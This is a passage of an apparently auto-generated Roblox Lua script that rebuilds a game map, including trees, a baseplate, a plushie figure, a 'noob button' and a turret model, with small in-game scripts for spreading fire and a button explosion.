Part998.BrickColor = BrickColor.new("Institutional white")
Part998.Reflectance = 0.5
Part998.brickColor = BrickColor.new("Institutional white")
Part999.Parent = Model989
Part999.CFrame = CFrame.new(83.7609787, 44.4995117, 128.892334, 0.49999997, 4.99703577e-12, 0.866025448, 1.86603532e-12, 1, -6.84743581e-12, -0.866025448, 5.0397516e-12, 0.49999997)
Part999.Orientation = Vector3.new(0, 60, 0)
Part999.Position = Vector3.new(83.7609787, 44.4995117, 128.892334)
Part999.Rotation = Vector3.new(0, 60, 0)
Part999.Color = Color3.new(1, 0, 0)
Part999.Size = Vector3.new(59, 1, 86)
Part999.Anchored = true
Part999.BrickColor = BrickColor.new("Really red")
Part999.brickColor = BrickColor.new("Really red")
Snap1000.Parent = Part999
Snap1000.C0 = CFrame.new(0, -0.5, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0)
Snap1000.C1 = CFrame.new(-0.999992371, 21.4997559, -41.999939, 1, 0, 0, 0, -2.16840434e-19, -1, 0, 1, 2.16840434e-19)
Snap1000.Part0 = Part999
Snap1000.Part1 = Part1003
Snap1000.part1 = Part1003
Snap1001.Parent = Part999
Snap1001.C0 = CFrame.new(0, -0.5, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0)
Snap1001.C1 = CFrame.new(1.00003052, 21.4995937, 28.4999313, 2.98023224e-08, -0.999998927, 1.0713869e-14, -3.8058532e-14, 1.07134353e-14, -0.99999249, 0.999998927, 2.98023224e-08, 3.80576647e-14)
Snap1001.Part0 = Part999
Snap1001.Part1 = Part992
Snap1001.part1 = Part992
Snap1002.Parent = Part999
Snap1002.C0 = CFrame.new(0, -0.5, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0)
Snap1002.C1 = CFrame.new(1.5, 21.4997559, 41.9999237, 1, 0, 0, 0, -2.16840434e-19, -1, 0, 1, 2.16840434e-19)
Snap1002.Part0 = Part999
Snap1002.Part1 = Part993
Snap1002.part1 = Part993
Part1003.Parent = Model989
Part1003.CFrame = CFrame.new(120.633972, 22.4997559, 149.026276, 0.49999997, 4.99703577e-12, 0.866025448, 1.86603532e-12, 1, -6.84743581e-12, -0.866025448, 5.0397516e-12, 0.49999997)
Part1003.Orientation = Vector3.new(0, 60, 0)
Part1003.Position = Vector3.new(120.633972, 22.4997559, 149.026276)
Part1003.Rotation = Vector3.new(0, 60, 0)
Part1003.Color = Color3.new(1, 0, 0)
Part1003.Size = Vector3.new(57, 43, 2)
Part1003.Anchored = true
Part1003.BrickColor = BrickColor.new("Really red")
Part1003.Material = Enum.Material.Concrete
Part1003.brickColor = BrickColor.new("Really red")
MeshPart1004.Parent = Model989
MeshPart1004.CFrame = CFrame.new(86.3154755, 1.26988983, 127.4758, 0.49999997, 4.99703577e-12, 0.866025448, 1.86603532e-12, 1, -6.84743581e-12, -0.866025448, 5.0397516e-12, 0.49999997)
MeshPart1004.Orientation = Vector3.new(0, 60, 0)
MeshPart1004.Position = Vector3.new(86.3154755, 1.26988983, 127.4758)
MeshPart1004.Rotation = Vector3.new(0, 60, 0)
MeshPart1004.Size = Vector3.new(41.9919739, 0.539794922, 52.9920044)
MeshPart1004.Anchored = true
MeshPart1005.Name = "Cheese Burger"
MeshPart1005.Parent = Model989
MeshPart1005.CFrame = CFrame.new(86.4785614, 9.22110367, 128.527466, 0.499999434, 4.98724716e-12, 0.866024494, 1.8279757e-12, 0.99999249, -6.83671435e-12, -0.866024494, 5.07803001e-12, 0.499999434)
MeshPart1005.Orientation = Vector3.new(0, 60, 0)
MeshPart1005.Position = Vector3.new(86.4785614, 9.22110367, 128.527466)
MeshPart1005.Rotation = Vector3.new(0, 60, 0)
MeshPart1005.Size = Vector3.new(27.6664581, 15.3629303, 27.6579037)
MeshPart1005.Anchored = true
MeshPart1005.TextureID = "rbxassetid://694456849"
Part1006.Parent = Model989
Part1006.CFrame = CFrame.new(116.658508, 27.4997005, 66.3974228, 0.965925813, 4.99597759e-12, 0.258819163, -3.49965499e-12, 1, -6.24208758e-12, -0.258819163, 5.12361594e-12, 0.965925813)
Part1006.Orientation = Vector3.new(0, 15, 0)
Part1006.Position = Vector3.new(116.658508, 27.4997005, 66.3974228)
Part1006.Rotation = Vector3.new(0, 15, 0)
Part1006.Color = Color3.new(0, 1, 0)
Part1006.Size = Vector3.new(4, 1, 2)
Part1006.Anchored = true
Part1006.BrickColor = BrickColor.new("Lime green")
Part1006.brickColor = BrickColor.new("Lime green")
Part1007.Name = "Baseplate"
Part1007.Parent = Model319
Part1007.CFrame = CFrame.new(0, -10, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1)
Part1007.Position = Vector3.new(0, -10, 0)
Part1007.Color = Color3.new(0.227451, 0.490196, 0.0823529)
Part1007.Size = Vector3.new(512, 20, 512)
Part1007.Anchored = true
Part1007.BrickColor = BrickColor.new("Camo")
Part1007.Locked = true
Part1007.Material = Enum.Material.Grass
Part1007.brickColor = BrickColor.new("Camo")
Part1007.FormFactor = Enum.FormFactor.Symmetric
Part1007.formFactor = Enum.FormFactor.Symmetric
Model1008.Name = "Tree"
Model1008.Parent = Model319
Part1009.Parent = Model1008
Part1009.CFrame = CFrame.new(51, 11, -86, 1, 0, 0, 0, 1, 0, 0, 0, 1)
Part1009.Position = Vector3.new(51, 11, -86)
Part1009.Color = Color3.new(0.203922, 0.556863, 0.25098)
Part1009.Size = Vector3.new(10, 10, 10)
Part1009.Anchored = true
Part1009.BottomSurface = Enum.SurfaceType.Smooth
Part1009.BrickColor = BrickColor.new("Sea green")
Part1009.TopSurface = Enum.SurfaceType.Smooth
Part1009.brickColor = BrickColor.new("Sea green")
Part1009.Shape = Enum.PartType.Ball
Part1010.Parent = Model1008
Part1010.CFrame = CFrame.new(50.9040451, 5.5, -85.983078, 1, 0, 0, 0, 1, 0, 0, 0, 1)
Part1010.Position = Vector3.new(50.9040451, 5.5, -85.983078)
Part1010.Color = Color3.new(0.666667, 0.333333, 0)
Part1010.Size = Vector3.new(2, 11, 2)
Part1010.Anchored = true
Part1010.BottomSurface = Enum.SurfaceType.Smooth
Part1010.BrickColor = BrickColor.new("CGA brown")
Part1010.TopSurface = Enum.SurfaceType.Smooth
Part1010.brickColor = BrickColor.new("CGA brown")
Model1011.Name = "Tree"
Model1011.Parent = Model319
Part1012.Parent = Model1011
Part1012.CFrame = CFrame.new(39, 11, -103, 1, 0, 0, 0, 1, 0, 0, 0, 1)
Part1012.Position = Vector3.new(39, 11, -103)
Part1012.Color = Color3.new(0.203922, 0.556863, 0.25098)
Part1012.Size = Vector3.new(10, 10, 10)
Part1012.Anchored = true
Part1012.BottomSurface = Enum.SurfaceType.Smooth
Part1012.BrickColor = BrickColor.new("Sea green")
Part1012.TopSurface = Enum.SurfaceType.Smooth
Part1012.brickColor = BrickColor.new("Sea green")
Part1012.Shape = Enum.PartType.Ball
Part1013.Parent = Model1011
Part1013.CFrame = CFrame.new(38.9040451, 5.5, -102.983078, 1, 0, 0, 0, 1, 0, 0, 0, 1)
Part1013.Position = Vector3.new(38.9040451, 5.5, -102.983078)
Part1013.Color = Color3.new(0.666667, 0.333333, 0)
Part1013.Size = Vector3.new(2, 11, 2)
Part1013.Anchored = true
Part1013.BottomSurface = Enum.SurfaceType.Smooth
Part1013.BrickColor = BrickColor.new("CGA brown")
Part1013.TopSurface = Enum.SurfaceType.Smooth
Part1013.brickColor = BrickColor.new("CGA brown")
Model1014.Name = "Noob Plushie"
Model1014.Parent = Model319
Part1015.Name = "Brick!"
Part1015.Parent = Model1014
Part1015.CFrame = CFrame.new(199.866821, 1.84002602, -119.713692, -1.00000226, -7.15255737e-07, 4.97698784e-06, 3.87430191e-07, 0.960924268, -0.276814044, -3.33786011e-06, -0.276813447, -0.960926414)
Part1015.Orientation = Vector3.new(16.0699997, 180, 0)
Part1015.Position = Vector3.new(199.866821, 1.84002602, -119.713692)
Part1015.Rotation = Vector3.new(163.929993, 0, 180)
Part1015.Color = Color3.new(0.960784, 0.803922, 0.188235)
Part1015.Size = Vector3.new(2, 1, 1)
Part1015.Anchored = true
Part1015.BrickColor = BrickColor.new("Bright yellow")
Part1015.CanCollide = false
Part1015.Material = Enum.Material.SmoothPlastic
Part1015.TopSurface = Enum.SurfaceType.Smooth
Part1015.brickColor = BrickColor.new("Bright yellow")
Part1015.FormFactor = Enum.FormFactor.Symmetric
Part1015.formFactor = Enum.FormFactor.Symmetric
SpecialMesh1016.Parent = Part1015
SpecialMesh1016.Scale = Vector3.new(1.25, 1.25, 1.25)
Decal1017.Name = "face"
Decal1017.Parent = Part1015
Decal1018.Parent = Part1015
Decal1018.Texture = "http://www.roblox.com/asset/?id=688468594"
Dialog1019.Parent = Part1015
Dialog1019.InitialPrompt = "I'm gonna kill your family! :D"
Part1020.Name = "Right Arm"
Part1020.Parent = Model1014
Part1020.CFrame = CFrame.new(200.221771, 0.960025012, -119.198685, -0.438895762, 0.450666308, -0.777351379, 0.329270124, 0.885612369, 0.327526271, 0.836037695, -0.112208188, -0.537080765)
Part1020.Orientation = Vector3.new(-19.1200008, -124.639999, 20.3999996)
Part1020.Position = Vector3.new(200.221771, 0.960025012, -119.198685)
Part1020.Rotation = Vector3.new(-148.619995, -51.0200005, -134.240005)
Part1020.Color = Color3.new(0.960784, 0.803922, 0.188235)
Part1020.Size = Vector3.new(0.529999971, 1.10000002, 0.409999996)
Part1020.Anchored = true
Part1020.BrickColor = BrickColor.new("Bright yellow")
Part1020.Material = Enum.Material.SmoothPlastic
Part1020.brickColor = BrickColor.new("Bright yellow")
Part1020.FormFactor = Enum.FormFactor.Symmetric
Part1020.formFactor = Enum.FormFactor.Symmetric
Fire1021.Parent = Part1020
Fire1021.Color = Color3.new(0, 0, 0.933333)
Fire1021.Enabled = false
Fire1021.Size = 30
Fire1021.Heat = 25
Fire1021.SecondaryColor = Color3.new(1, 1, 1)
Fire1021.size = 30
Script1022.Name = "Spread"
Script1022.Parent = Fire1021
table.insert(cors,sandbox(Script1022,function()
function Spread(part)
check = part:findFirstChild("Fire")
if check == nil then
script.Parent:Clone().Parent = part
elseif check ~= nil then
check.Size = check.Size + 1
check.Heat = check.Heat +1
end
end
script.Parent.Parent.Touched:connect(Spread)
end))
Part1023.Name = "Left Leg"
Part1023.Parent = Model1014
Part1023.CFrame = CFrame.new(200.261734, 0.295020998, -118.943672, -0.942648053, -0.333795488, 6.05285168e-05, -6.09904528e-05, -1.63912773e-06, -1.00000072, 0.333796889, -0.942647934, -2.00122595e-05)
Part1023.Orientation = Vector3.new(90, -160.5, 0)
Part1023.Position = Vector3.new(200.261734, 0.295020998, -118.943672)
Part1023.Rotation = Vector3.new(90, 0, 160.5)
Part1023.Color = Color3.new(0.643137, 0.741176, 0.278431)
Part1023.Size = Vector3.new(0.53000021, 1.0999999, 0.410000116)
Part1023.Anchored = true
Part1023.BottomSurface = Enum.SurfaceType.Smooth
Part1023.BrickColor = BrickColor.new("Br. yellowish green")
Part1023.Material = Enum.Material.SmoothPlastic
Part1023.brickColor = BrickColor.new("Br. yellowish green")
Part1023.FormFactor = Enum.FormFactor.Symmetric
Part1023.formFactor = Enum.FormFactor.Symmetric
Part1024.Name = "Right Leg"
Part1024.Parent = Model1014
Part1024.CFrame = CFrame.new(199.37178, 0.295037001, -118.93367, -0.952460945, 0.304668188, 9.08970833e-07, 0.0465838611, 0.145626277, -0.988243222, -0.301084995, -0.941262841, -0.152897)
Part1024.Orientation = Vector3.new(81.2099991, 180, 17.7399998)
Part1024.Position = Vector3.new(199.37178, 0.295037001, -118.93367)
Part1024.Rotation = Vector3.new(98.7900009, 0, -162.259995)
Part1024.Color = Color3.new(0.643137, 0.741176, 0.278431)
Part1024.Size = Vector3.new(0.529999971, 1.10000002, 0.409999996)
Part1024.Anchored = true
Part1024.BottomSurface = Enum.SurfaceType.Smooth
Part1024.BrickColor = BrickColor.new("Br. yellowish green")
Part1024.Material = Enum.Material.SmoothPlastic
Part1024.brickColor = BrickColor.new("Br. yellowish green")
Part1024.FormFactor = Enum.FormFactor.Symmetric
Part1024.formFactor = Enum.FormFactor.Symmetric
Part1025.Name = "Left Arm"
Part1025.Parent = Model1014
Part1025.CFrame = CFrame.new(199.391708, 0.92997998, -119.268738, 0.962069392, -0.246715814, -0.11644128, 0.263035029, 0.725627005, 0.635831356, -0.0723759085, -0.642338932, 0.762997925)
Part1025.Orientation = Vector3.new(-39.4799995, -8.68000031, 19.9300003)
Part1025.Position = Vector3.new(199.391708, 0.92997998, -119.268738)
Part1025.Rotation = Vector3.new(-39.8100014, -6.69000006, 14.3800001)
Part1025.Color = Color3.new(0.960784, 0.803922, 0.188235)
Part1025.Size = Vector3.new(0.529999971, 1.10000002, 0.409999996)
Part1025.Anchored = true
Part1025.BrickColor = BrickColor.new("Bright yellow")
Part1025.Material = Enum.Material.SmoothPlastic
Part1025.brickColor = BrickColor.new("Bright yellow")
Part1025.FormFactor = Enum.FormFactor.Symmetric
Part1025.formFactor = Enum.FormFactor.Symmetric
Part1026.Name = "Torso"
Part1026.Parent = Model1014
Part1026.CFrame = CFrame.new(199.856735, 0.770057023, -119.51368, -1.00000167, -6.41345978e-05, 4.67896461e-06, -6.16908073e-05, 1.00000083, -1.83284283e-06, -3.33786011e-06, -6.70552254e-07, -1.00000203)
Part1026.Orientation = Vector3.new(0, 180, 0)
Part1026.Position = Vector3.new(199.856735, 0.770057023, -119.51368)
Part1026.Rotation = Vector3.new(180, 0, 180)
Part1026.Color = Color3.new(0.0509804, 0.411765, 0.67451)
Part1026.Size = Vector3.new(0.9599998, 1.36000037, 0.439999998)
Part1026.Anchored = true
Part1026.BrickColor = BrickColor.new("Bright blue")
Part1026.LeftParamA = 0
Part1026.LeftParamB = 0
Part1026.LeftSurface = Enum.SurfaceType.Weld
Part1026.Material = Enum.Material.SmoothPlastic
Part1026.RightParamA = 0
Part1026.RightParamB = 0
Part1026.RightSurface = Enum.SurfaceType.Weld
Part1026.brickColor = BrickColor.new("Bright blue")
Part1026.FormFactor = Enum.FormFactor.Symmetric
Part1026.formFactor = Enum.FormFactor.Symmetric
Part1027.Parent = Model319
Part1027.CFrame = CFrame.new(254, 43.5, -174.5, 1, 0, 0, 0, 1, 0, 0, 0, 1)
Part1027.Position = Vector3.new(254, 43.5, -174.5)
Part1027.Size = Vector3.new(4, 87, 163)
Part1027.BottomSurface = Enum.SurfaceType.Smooth
Part1027.TopSurface = Enum.SurfaceType.Smooth
Part1028.Parent = Model319
Part1028.CFrame = CFrame.new(60.9040451, 5.5, -102.983078, 1, 0, 0, 0, 1, 0, 0, 0, 1)
Part1028.Position = Vector3.new(60.9040451, 5.5, -102.983078)
Part1028.Color = Color3.new(0.666667, 0.333333, 0)
Part1028.Size = Vector3.new(2, 11, 2)
Part1028.Anchored = true
Part1028.BottomSurface = Enum.SurfaceType.Smooth
Part1028.BrickColor = BrickColor.new("CGA brown")
Part1028.TopSurface = Enum.SurfaceType.Smooth
Part1028.brickColor = BrickColor.new("CGA brown")
Model1029.Name = "Noob Button"
Model1029.Parent = Model319
Part1030.Parent = Model1029
Part1030.CFrame = CFrame.new(87.1407318, 0.500005007, -39.1663666, 1, 0, 0, 0, 1, 0, 0, 0, 1)
Part1030.Position = Vector3.new(87.1407318, 0.500005007, -39.1663666)
Part1030.Color = Color3.new(0.388235, 0.372549, 0.384314)
Part1030.Size = Vector3.new(10, 1, 10)
Part1030.Anchored = true
Part1030.BottomSurface = Enum.SurfaceType.Smooth
Part1030.BrickColor = BrickColor.new("Dark stone grey")
Part1030.Material = Enum.Material.DiamondPlate
Part1030.TopSurface = Enum.SurfaceType.Smooth
Part1030.brickColor = BrickColor.new("Dark stone grey")
Part1030.FormFactor = Enum.FormFactor.Symmetric
Part1030.formFactor = Enum.FormFactor.Symmetric
CylinderMesh1031.Parent = Part1030
Part1032.Parent = Model1029
Part1032.CFrame = CFrame.new(87.1407318, 1.50000596, -39.1663666, 1, 0, 0, 0, 1, 0, 0, 0, 1)
Part1032.Position = Vector3.new(87.1407318, 1.50000596, -39.1663666)
Part1032.Color = Color3.new(1, 0, 0)
Part1032.Size = Vector3.new(8, 1, 8)
Part1032.Anchored = true
Part1032.BottomSurface = Enum.SurfaceType.Smooth
Part1032.BrickColor = BrickColor.new("Really red")
Part1032.Material = Enum.Material.Sand
Part1032.TopSurface = Enum.SurfaceType.Smooth
Part1032.brickColor = BrickColor.new("Really red")
Part1032.FormFactor = Enum.FormFactor.Symmetric
Part1032.formFactor = Enum.FormFactor.Symmetric
Script1033.Name = "Explosion"
Script1033.Parent = Part1032
table.insert(cors,sandbox(Script1033,function()
ball = script.Parent
function onTouch(part)
script.Disabled=true
local msg=Instance.new("Message")
msg.Parent=ball.Parent
msg.Name="Msg"
msg.Text=part.Parent.Name.." is a noob"
local BOOM=Instance.new("Explosion")
BOOM.Parent=ball
BOOM.Position=ball.Position
BOOM.Name="boom-boom"
BOOM.BlastPressure=5
BOOM.BlastRadius=10
wait(2)
script.Disabled=false
msg:remove()
end
ball.Touched:connect(onTouch)
end))
CylinderMesh1034.Parent = Part1032
Part1035.Parent = Model319
Part1035.CFrame = CFrame.new(61, 11, -103, 1, 0, 0, 0, 1, 0, 0, 0, 1)
Part1035.Position = Vector3.new(61, 11, -103)
Part1035.Color = Color3.new(0.203922, 0.556863, 0.25098)
Part1035.Size = Vector3.new(10, 10, 10)
Part1035.Anchored = true
Part1035.BottomSurface = Enum.SurfaceType.Smooth
Part1035.BrickColor = BrickColor.new("Sea green")
Part1035.TopSurface = Enum.SurfaceType.Smooth
Part1035.brickColor = BrickColor.new("Sea green")
Part1035.Shape = Enum.PartType.Ball
Model1036.Name = "Turret"
Model1036.Parent = Model319
Model1036.PrimaryPart = Part1122
Model1037.Name = "gun"
Model1037.Parent = Model1036
Model1037.PrimaryPart = Part1094
Part1038.Parent = Model1037
Part1038.CFrame = CFrame.new(220.800003, 4.29485893, -77.1000443, 0, 1, 0, 0, 0, 1, 1, 0, 0)
Part1038.Orientation = Vector3.new(-90, -90, 0)
Part1038.Position = Vector3.new(220.800003, 4.29485893, -77.1000443)
Part1038.Rotation = Vector3.new(-90, 0, -90)
Part1038.Color = Color3.new(0.580392, 0.580392, 0.580392)
Part1038.Size = Vector3.new(2.20000005, 1.60000002, 2)
Part1038.Anchored = true
Part1038.BottomSurface = Enum.SurfaceType.Smooth
Part1038.BrickColor = BrickColor.new("Sand violet metallic")
Part1038.CanCollide = false
Part1038.Material = Enum.Material.Metal
Part1038.TopSurface = Enum.SurfaceType.Weld
Part1038.brickColor = BrickColor.new("Sand violet metallic")
CylinderMesh1039.Parent = Part1038
Weld1040.Parent = Part1038
Weld1040.C0 = CFrame.new(0, -0.800000012, 0, 1, 0, 0, 0, 0, -1, 0, 1, 0)
Weld1040.C1 = CFrame.new(0, 0.100013733, 0, 1, 0, 0, 0, 0, -1, 0, 1, 0)
Weld1040.Part0 = Part1038
Weld1040.Part1 = Part1066
Weld1040.part1 = Part1066
Weld1041.Parent = Part1038
Weld1041.C0 = CFrame.new(0, 0.800000012, 0, -1, 0, 0, 0, 0, 1, 0, 1, -0)
Weld1041.C1 = CFrame.new(0, -0.700016022, -1.505126, -1, 0, 0, 0, 0, 1, 0, 1, -0)
Weld1041.Part0 = Part1038
Weld1041.Part1 = UnionOperation1097
Weld1041.part1 = UnionOperation1097
Part1042.Parent = Model1037
Part1042.CFrame = CFrame.new(222.345428, 3.89486194, -76.3000336, 0, 1, 0, 0, 0, 1, 1, 0, 0)
Part1042.Orientation = Vector3.new(-90, -90, 0)
Part1042.Position = Vector3.new(222.345428, 3.89486194, -76.3000336)
Part1042.Rotation = Vector3.new(-90, 0, -90)
Part1042.Color = Color3.new(0.580392, 0.580392, 0.580392)
Part1042.Size = Vector3.new(1.47272682, 3.96363688, 1.63636315)
Part1042.Anchored = true
Part1042.BottomSurface = Enum.SurfaceType.Smooth
Part1042.BrickColor = BrickColor.new("Sand violet metallic")
Part1042.CanCollide = false
Part1042.Material = Enum.Material.Metal
Part1042.TopSurface = Enum.SurfaceType.Weld
Part1042.brickColor = BrickColor.new("Sand violet metallic")
CylinderMesh1043.Parent = Part1042
Part1044.Parent = Model1037
Part1044.CFrame = CFrame.new(221.781815, 3.89486194, -76.3000336, 0, 1, 0, 0, 0, 1, 1, 0, 0)
Part1044.Orientation = Vector3.new(-90, -90, 0)
Part1044.Position = Vector3.new(221.781815, 3.89486194, -76.3000336)
Part1044.Rotation = Vector3.new(-90, 0, -90)
Part1044.Color = Color3.new(0.580392, 0.580392, 0.580392)
Part1044.Size = Vector3.new(1.79999948, 2.50909066, 1.63636315)
Part1044.Anchored = true
Part1044.BottomSurface = Enum.SurfaceType.Smooth
Part1044.BrickColor = BrickColor.new("Sand violet metallic")
Part1044.CanCollide = false
Part1044.Material = Enum.Material.Metal
Part1044.TopSurface = Enum.SurfaceType.Weld
Part1044.brickColor = BrickColor.new("Sand violet metallic")
CylinderMesh1045.Parent = Part1044
Part1046.Name = "eject"
Part1046.Parent = Model1037
Part1046.CFrame = CFrame.new(223.608627, 5.03627491, -76.9632263, 0.859789312, 0.476727724, -0.183010995, 0.0669870228, 0.249996901, 0.965926707, 0.506236196, -0.842752755, 0.183010116)
Part1046.Orientation = Vector3.new(-75, -45, 15)
Part1046.Position = Vector3.new(223.608627, 5.03627491, -76.9632263)
Part1046.Rotation = Vector3.new(-79.2699966, -10.5500002, -29.0100002)
Part1046.Color = Color3.new(0.458824, 0.458824, 0.458824)
Part1046.Size = Vector3.new(1.07272673, 0.96363622, 0.836363018)
Part1046.Anchored = true
Part1046.BottomSurface = Enum.SurfaceType.Smooth
Part1046.BrickColor = BrickColor.new("Dark grey")
Part1046.CanCollide = false
Part1046.Material = Enum.Material.Metal
Part1046.TopSurface = Enum.SurfaceType.Weld
Part1046.brickColor = BrickColor.new("Dark grey")
CylinderMesh1047.Parent = Part1046
ParticleEmitter1048.Name = "bullets"
ParticleEmitter1048.Parent = mas
ParticleEmitter1048.Speed = NumberRange.new(7, 20)
ParticleEmitter1048.Rotation = NumberRange.new(-180, 180)
ParticleEmitter1048.Color = ColorSequence.new(Color3.new(1, 0.666667, 0),Color3.new(1, 0.666667, 0))
ParticleEmitter1048.Enabled = false
ParticleEmitter1048.LightEmission = 0.10000000149012
ParticleEmitter1048.LightInfluence = 1
ParticleEmitter1048.Texture = "rbxassetid://409366087"
ParticleEmitter1048.Transparency = NumberSequence.new(0,0,1)
ParticleEmitter1048.Size = NumberSequence.new(0.67010343074799,1)
ParticleEmitter1048.Acceleration = Vector3.new(0, -30, 0)
ParticleEmitter1048.Lifetime = NumberRange.new(0.5, 0.60000002384186)
ParticleEmitter1048.Rate = 50
ParticleEmitter1048.RotSpeed = NumberRange.new(-900, 900)
ParticleEmitter1048.SpreadAngle = Vector2.new(-20, 20)
ParticleEmitter1048.VelocitySpread = -20
Part1049.Parent = Model1037
Part1049.CFrame = CFrame.new(224.945435, 4.89485693, -76.5000305, 0, 1, 0, 0, 0, 1, 1, 0, 0)
Part1049.Orientation = Vector3.new(-90, -90, 0)
Part1049.Position = Vector3.new(224.945435, 4.89485693, -76.5000305)
Part1049.Rotation = Vector3.new(-90, 0, -90)
Part1049.Color = Color3.new(0.580392, 0.580392, 0.580392)
Part1049.Size = Vector3.new(1.07272673, 0.363636494, 0.836363018)
Part1049.Anchored = true
Part1049.BottomSurface = Enum.SurfaceType.Smooth
Part1049.BrickColor = BrickColor.new("Sand violet metallic")
Part1049.CanCollide = false
Part1049.Material = Enum.Material.Metal
Part1049.TopSurface = Enum.SurfaceType.Weld
Part1049.brickColor = BrickColor.new("Sand violet metallic")
CylinderMesh1050.Parent = Part1049
UnionOperation1051.Name = "Barrel1"
UnionOperation1051.Parent = Model1037
UnionOperation1051.CFrame = CFrame.new(214.399918, 4.89998722, -75.5000153, 0, 1, 0, 0, 0, 1, 1, 0, 0)
UnionOperation1051.Orientation = Vector3.new(-90, -90, 0)
UnionOperation1051.Position = Vector3.new(214.399918, 4.89998722, -75.5000153)
UnionOperation1051.Rotation = Vector3.new(-90, 0, -90)
UnionOperation1051.Color = Color3.new(0.580392, 0.580392, 0.580392)
UnionOperation1051.Size = Vector3.new(1.80000019, 7.6000061, 1.80000019)
UnionOperation1051.Anchored = true
UnionOperation1051.BrickColor = BrickColor.new("Sand violet metallic")
UnionOperation1051.CanCollide = false
UnionOperation1051.Material = Enum.Material.Metal
UnionOperation1051.brickColor = BrickColor.new("Sand violet metallic")
Part1052.Parent = Model1037
Part1052.CFrame = CFrame.new(223.145447, 4.89485693, -76.5000305, 0, 1, 0, 0, 0, 1, 1, 0, 0)
Part1052.Orientation = Vector3.new(-90, -90, 0)
Part1052.Position = Vector3.new(223.145447, 4.89485693, -76.5000305)
Part1052.Rotation = Vector3.new(-90, 0, -90)
Part1052.Color = Color3.new(0.580392, 0.580392, 0.580392)
Part1052.Size = Vector3.new(1.07272673, 3.56363678, 1.63636315)
Part1052.Anchored = true
Part1052.BottomSurface = Enum.SurfaceType.Smooth
Part1052.BrickColor = BrickColor.new("Sand violet metallic")
Part1052.CanCollide = false
Part1052.Material = Enum.Material.Metal
Part1052.TopSurface = Enum.SurfaceType.Weld
Part1052.brickColor = BrickColor.new("Sand violet metallic")
CylinderMesh1053.Parent = Part1052
Part1054.Name = "gunpart"
Part1054.Parent = Model1037
Part1054.CFrame = CFrame.new(208.899887, 4.89999008, -75.5000153, 0, 0, 1, 0, 1, -0, -1, 0, 0)
Part1054.Orientation = Vector3.new(0, 90, 0)
Part1054.Position = Vector3.new(208.899887, 4.89999008, -75.5000153)
Part1054.Rotation = Vector3.new(0, 90, 0)
Part1054.Transparency = 1
Part1054.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
Part1054.Anchored = true
Part1054.CanCollide = false
ParticleEmitter1055.Parent = Part1054
ParticleEmitter1055.Speed = NumberRange.new(0, 50)
ParticleEmitter1055.Rotation = NumberRange.new(-180, 180)
ParticleEmitter1055.Color = ColorSequence.new(Color3.new(0.933333, 0.913725, 0.67451),Color3.new(1, 0.666667, 0),Color3.new(1, 0.666667, 0))
ParticleEmitter1055.Enabled = false
ParticleEmitter1055.LightEmission = 1
ParticleEmitter1055.Size = NumberSequence.new(0,2.8205127716064,0)
ParticleEmitter1055.Lifetime = NumberRange.new(0.20000000298023, 0.40000000596046)
ParticleEmitter1055.Rate = 100
ParticleEmitter1055.RotSpeed = NumberRange.new(-60, 60)
ParticleEmitter1055.VelocityInheritance = 0.5
Sound1056.Name = "bam"
Sound1056.Parent = Part1054
Sound1056.EmitterSize = 50
Sound1056.MinDistance = 50
Sound1056.Pitch = 2
Sound1056.PlaybackSpeed = 2
Sound1056.SoundId = "rbxassetid://151299298"
Sound1056.Volume = 1
ParticleEmitter1057.Name = "smoke"
ParticleEmitter1057.Parent = Part1054
ParticleEmitter1057.Speed = NumberRange.new(3, 3)
ParticleEmitter1057.Color = ColorSequence.new(Color3.new(0.568627, 0.568627, 0.568627),Color3.new(0.568627, 0.568627, 0.568627))
ParticleEmitter1057.Enabled = false
ParticleEmitter1057.Texture = "rbxasset://textures/particles/smoke_main.dds"
ParticleEmitter1057.Transparency = NumberSequence.new(0.35465115308762,1)
ParticleEmitter1057.Size = NumberSequence.new(0.46153843402863,0.56410253047943,2.4102563858032)
ParticleEmitter1057.Acceleration = Vector3.new(0, 10, 0)
ParticleEmitter1057.Lifetime = NumberRange.new(1, 1)
ParticleEmitter1057.RotSpeed = NumberRange.new(0, 20)
ParticleEmitter1057.SpreadAngle = Vector2.new(20, 20)
ParticleEmitter1057.VelocitySpread = 20
Part1058.Name = "effect"
Part1058.Parent = Model1037
Part1058.CFrame = CFrame.new(210.299896, 4.89999008, -75.5000153, 0, -1, 0, 0, 0, 1, -1, 0, 0)
Part1058.Orientation = Vector3.new(-90, 90, 0)
Part1058.Position = Vector3.new(210.299896, 4.89999008, -75.5000153)
Part1058.Rotation = Vector3.new(-90, 0, 90)
Part1058.Transparency = 1
Part1058.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
Part1058.Anchored = true
Part1058.CanCollide = false
ParticleEmitter1059.Parent = Part1058
ParticleEmitter1059.Speed = NumberRange.new(0, 50)
ParticleEmitter1059.Rotation = NumberRange.new(-180, 180)
ParticleEmitter1059.Color = ColorSequence.new(Color3.new(0.933333, 0.913725, 0.67451),Color3.new(1, 0.666667, 0),Color3.new(1, 0.666667, 0))
ParticleEmitter1059.Enabled = false
ParticleEmitter1059.LightEmission = 1
ParticleEmitter1059.ZOffset = 1
ParticleEmitter1059.Size = NumberSequence.new(0,2.8205127716064,0)
ParticleEmitter1059.Lifetime = NumberRange.new(0.20000000298023, 0.40000000596046)
ParticleEmitter1059.LockedToPart = true
ParticleEmitter1059.Rate = 200
ParticleEmitter1059.RotSpeed = NumberRange.new(-60, 60)
ParticleEmitter1059.VelocityInheritance = 0.5
Sound1060.Name = "bam"
Sound1060.Parent = Part1058
Sound1060.Looped = true
Sound1060.SoundId = "rbxassetid://172430819"
Sound1060.Volume = 1
ParticleEmitter1061.Name = "smoke"
ParticleEmitter1061.Parent = Part1058
ParticleEmitter1061.Speed = NumberRange.new(1, 5)
ParticleEmitter1061.Rotation = NumberRange.new(-100, 100)
ParticleEmitter1061.Color = ColorSequence.new(Color3.new(0.568627, 0.568627, 0.568627),Color3.new(0.568627, 0.568627, 0.568627))
ParticleEmitter1061.Enabled = false
ParticleEmitter1061.Texture = "rbxasset://textures/particles/smoke_main.dds"
ParticleEmitter1061.Transparency = NumberSequence.new(1,0.93023252487183,0.94767439365387,1)
ParticleEmitter1061.Size = NumberSequence.new(1.2371134757996,1.1340206861496,2.4102563858032)
ParticleEmitter1061.Acceleration = Vector3.new(0, 10, 0)
